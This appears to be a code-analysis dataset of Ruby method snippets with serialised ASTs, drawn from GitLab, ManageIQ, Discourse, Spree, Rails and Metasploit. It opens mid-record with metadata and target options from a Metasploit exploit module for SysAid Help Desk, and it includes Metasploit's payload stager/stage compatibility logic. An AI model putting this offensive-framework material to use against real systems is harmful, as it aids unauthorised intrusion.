[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SysAid Help Desk v14.4 / Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SysAid Help Desk v14.4 / Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-06-03\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target port\"]},{\"type\":\"int\",\"children\":[8080]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SysAid path\"]},{\"type\":\"str\",\"children\":[\"/sysaid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to login as\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the specified username\"]}]}]}]}]}]}]}","id":"2b61afe7-bf1e-4176-b797-757f80936c1e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload_set.rb","start_line":173,"raw_source":"def stage_and_stager_compatible?(stager_info:, stage_info:, stager_name:, stage_name:)\n    _stager_mod, _handler, stager_platform, stager_arch, stager_inst = stager_info\n    _stage_mod, _, stage_platform, stage_arch, stage_inst = stage_info\n\n    stager_dependencies = stager_inst.dependencies\n    stage_dependencies = stage_inst.dependencies\n\n    unless stager_dependencies.empty? && stage_dependencies.empty?\n      return false unless stager_dependencies == stage_dependencies\n    end\n\n    # No intersection between platforms on the payloads?\n    if ((stager_platform) and\n      (stage_platform) and\n      (stager_platform & stage_platform).empty?)\n      dlog(\"Stager #{stager_name} and stage #{stage_name} have incompatible platforms: #{stager_platform.names} - #{stage_platform.names}\", 'core', LEV_2)\n      return false\n    end\n\n    # No intersection between architectures on the payloads?\n    if ((stager_arch) and\n      (stage_arch) and\n      ((stager_arch & stage_arch).empty?))\n      dlog(\"Stager #{stager_name} and stage #{stage_name} have incompatible architectures: #{stager_arch.join} - #{stage_arch.join}\", 'core', LEV_2)\n      return false\n    end\n\n    # If the stage has a convention, make sure it's compatible with\n    # the stager's\n    if ((stage_inst) and (stage_inst.compatible?(stager_inst) == false))\n      dlog(\"Stager #{stager_name} and stage #{stage_name} are incompatible.\", 'core', LEV_2)\n      return false\n    end\n\n    # No intersection between platforms on the payloads?\n    if ((stager_platform) and\n      (stage_platform) and\n      (stager_platform & stage_platform).empty?)\n      dlog(\"Stager #{stager_name} and stage #{stage_name} have incompatible platforms: #{stager_platform.names} - #{stage_platform.names}\", 'core', LEV_2)\n      return false\n    end\n\n    # No intersection between architectures on the payloads?\n    if ((stager_arch) and\n      (stage_arch) and\n      ((stager_arch & stage_arch).empty?))\n      dlog(\"Stager #{stager_name} and stage #{stage_name} have incompatible architectures: #{stager_arch.join} - #{stage_arch.join}\", 'core', LEV_2)\n      return false\n    end\n\n    # If the stage has a convention, make sure it's compatible with\n    # the stager's\n    if ((stage_inst) and (stage_inst.compatible?(stager_inst) == false))\n      dlog(\"Stager #{stager_name} and stage #{stage_name} are incompatible.\", 'core', LEV_2)\n      return false\n    end\n    true\n  end","complexity_score":72.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stage_and_stager_compatible?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"stager_info\"]},{\"type\":\"kwarg\",\"children\":[\"stage_info\"]},{\"type\":\"kwarg\",\"children\":[\"stager_name\"]},{\"type\":\"kwarg\",\"children\":[\"stage_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_stager_mod\"]},{\"type\":\"lvasgn\",\"children\":[\"_handler\"]},{\"type\":\"lvasgn\",\"children\":[\"stager_platform\"]},{\"type\":\"lvasgn\",\"children\":[\"stager_arch\"]},{\"type\":\"lvasgn\",\"children\":[\"stager_inst\"]}]},{\"type\":\"lvar\",\"children\":[\"stager_info\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_stage_mod\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"stage_platform\"]},{\"type\":\"lvasgn\",\"children\":[\"stage_arch\"]},{\"type\":\"lvasgn\",\"children\":[\"stage_inst\"]}]},{\"type\":\"lvar\",\"children\":[\"stage_info\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stager_dependencies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_inst\"]},\"dependencies\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stage_dependencies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_inst\"]},\"dependencies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_dependencies\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_dependencies\"]},\"empty?\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_dependencies\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"stage_dependencies\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_platform\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_platform\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_platform\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"stage_platform\"]}]}]},\"empty?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_name\"]}]},{\"type\":\"str\",\"children\":[\" and stage \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_name\"]}]},{\"type\":\"str\",\"children\":[\" have incompatible platforms: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_platform\"]},\"names\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_platform\"]},\"names\"]}]}]},{\"type\":\"str\",\"children\":[\"core\"]},{\"type\":\"const\",\"children\":[null,\"LEV_2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_arch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_arch\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_arch\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"stage_arch\"]}]}]},\"empty?\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_name\"]}]},{\"type\":\"str\",\"children\":[\" and stage \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_name\"]}]},{\"type\":\"str\",\"children\":[\" have incompatible architectures: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_arch\"]},\"join\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_arch\"]},\"join\"]}]}]},{\"type\":\"str\",\"children\":[\"core\"]},{\"type\":\"const\",\"children\":[null,\"LEV_2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_inst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_inst\"]},\"compatible?\",{\"type\":\"lvar\",\"children\":[\"stager_inst\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_name\"]}]},{\"type\":\"str\",\"children\":[\" and stage \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_name\"]}]},{\"type\":\"str\",\"children\":[\" are incompatible.\"]}]},{\"type\":\"str\",\"children\":[\"core\"]},{\"type\":\"const\",\"children\":[null,\"LEV_2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_platform\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_platform\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_platform\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"stage_platform\"]}]}]},\"empty?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_name\"]}]},{\"type\":\"str\",\"children\":[\" and stage \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_name\"]}]},{\"type\":\"str\",\"children\":[\" have incompatible platforms: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_platform\"]},\"names\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_platform\"]},\"names\"]}]}]},{\"type\":\"str\",\"children\":[\"core\"]},{\"type\":\"const\",\"children\":[null,\"LEV_2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_arch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_arch\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_arch\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"stage_arch\"]}]}]},\"empty?\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_name\"]}]},{\"type\":\"str\",\"children\":[\" and stage \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_name\"]}]},{\"type\":\"str\",\"children\":[\" have incompatible architectures: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_arch\"]},\"join\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_arch\"]},\"join\"]}]}]},{\"type\":\"str\",\"children\":[\"core\"]},{\"type\":\"const\",\"children\":[null,\"LEV_2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_inst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_inst\"]},\"compatible?\",{\"type\":\"lvar\",\"children\":[\"stager_inst\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager_name\"]}]},{\"type\":\"str\",\"children\":[\" and stage \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_name\"]}]},{\"type\":\"str\",\"children\":[\" are incompatible.\"]}]},{\"type\":\"str\",\"children\":[\"core\"]},{\"type\":\"const\",\"children\":[null,\"LEV_2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"d8e48d89-dd34-4481-af08-eb97de0e28e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/bulk_update.rb","start_line":43,"raw_source":"def initialize(model, columns, mapping)\n          @table_name = model.table_name\n          @connection = model.connection\n          @columns = self.class.column_definitions(model, columns)\n          @mapping = self.class.value_mapping(mapping)\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"arg\",\"children\":[\"mapping\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"column_definitions\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"value_mapping\",{\"type\":\"lvar\",\"children\":[\"mapping\"]}]}]}]}]}","id":"348048fb-95f2-4df0-846e-d323bd5730a1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/import_file_upload.rb","start_line":19,"raw_source":"def widget_list\n    sorted_widgets = uploaded_yaml_content.sort_by do |widget_contents|\n      widget_contents[\"MiqWidget\"][\"title\"].downcase\n    end\n\n    sorted_widgets.collect.with_index do |widget, index|\n      {\n        :id     => index,\n        :name   => widget[\"MiqWidget\"][\"title\"],\n        :exists => MiqWidget.exists?(:title => widget[\"MiqWidget\"][\"title\"])\n      }\n    end\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"widget_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sorted_widgets\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uploaded_yaml_content\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widget_contents\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget_contents\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MiqWidget\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"downcase\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted_widgets\"]},\"collect\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widget\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MiqWidget\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exists\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWidget\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MiqWidget\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]}]}]}]}]}]}]}]}","id":"f7f7de4e-181f-404d-9cef-2975f999a3b1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":546,"raw_source":"def validate(klass, name, &block)\n    klass = klass.to_s.classify.constantize\n    klass.public_send(:define_method, name, &block)\n\n    plugin = self\n    klass.validate(name, if: -> { plugin.enabled? })\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]},\"classify\"]},\"constantize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"public_send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plugin\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"validate\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"enabled?\"]}]}]}]}]}]}]}","id":"abf470ae-64a2-4cfd-8332-6633935d2506"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/checkout_controller.rb","start_line":9,"raw_source":"def next\n            spree_authorize! :update, spree_current_order, order_token\n\n            result = next_service.call(order: spree_current_order)\n\n            render_order(result)\n          end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"next\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]},{\"type\":\"send\",\"children\":[null,\"order_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_order\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"e02f1673-012b-47b2-8231-0dd30d320250"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/broadcast_logger_test.rb","start_line":406,"raw_source":"def debug?\n        level <= ::Logger::DEBUG\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"debug?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"level\"]},\"<=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Logger\"]},\"DEBUG\"]}]}]}","id":"473bc69c-11b6-4d6c-9e01-89572b1a4a6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250408234759_create_work_item_custom_lifecycle_statuses.rb","start_line":6,"raw_source":"def change\n    # Factory: /ee/spec/factories/work_items/statuses/custom/lifecycle_statuses.rb\n    create_table :work_item_custom_lifecycle_statuses do |t| # rubocop:disable Migration/EnsureFactoryForTable -- reason above\n      t.bigint :namespace_id, null: false, index: { name: 'idx_wi_custom_lifecycle_statuses_on_namespace_id' }\n      t.bigint :lifecycle_id, null: false\n      t.bigint :status_id, null: false, index: { name: 'idx_wi_custom_lifecycle_statuses_on_status_id' }\n      t.timestamps_with_timezone null: false\n      t.integer :position, null: false, default: 0\n\n      t.index [:lifecycle_id, :status_id], unique: true, name: 'idx_lifecycle_statuses_on_lifecycle_and_status'\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"work_item_custom_lifecycle_statuses\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_wi_custom_lifecycle_statuses_on_namespace_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"lifecycle_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_wi_custom_lifecycle_statuses_on_status_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lifecycle_id\"]},{\"type\":\"sym\",\"children\":[\"status_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_lifecycle_statuses_on_lifecycle_and_status\"]}]}]}]}]}]}]}","id":"eb6c1e0c-81bc-4e5a-9399-7ac912825d33"}
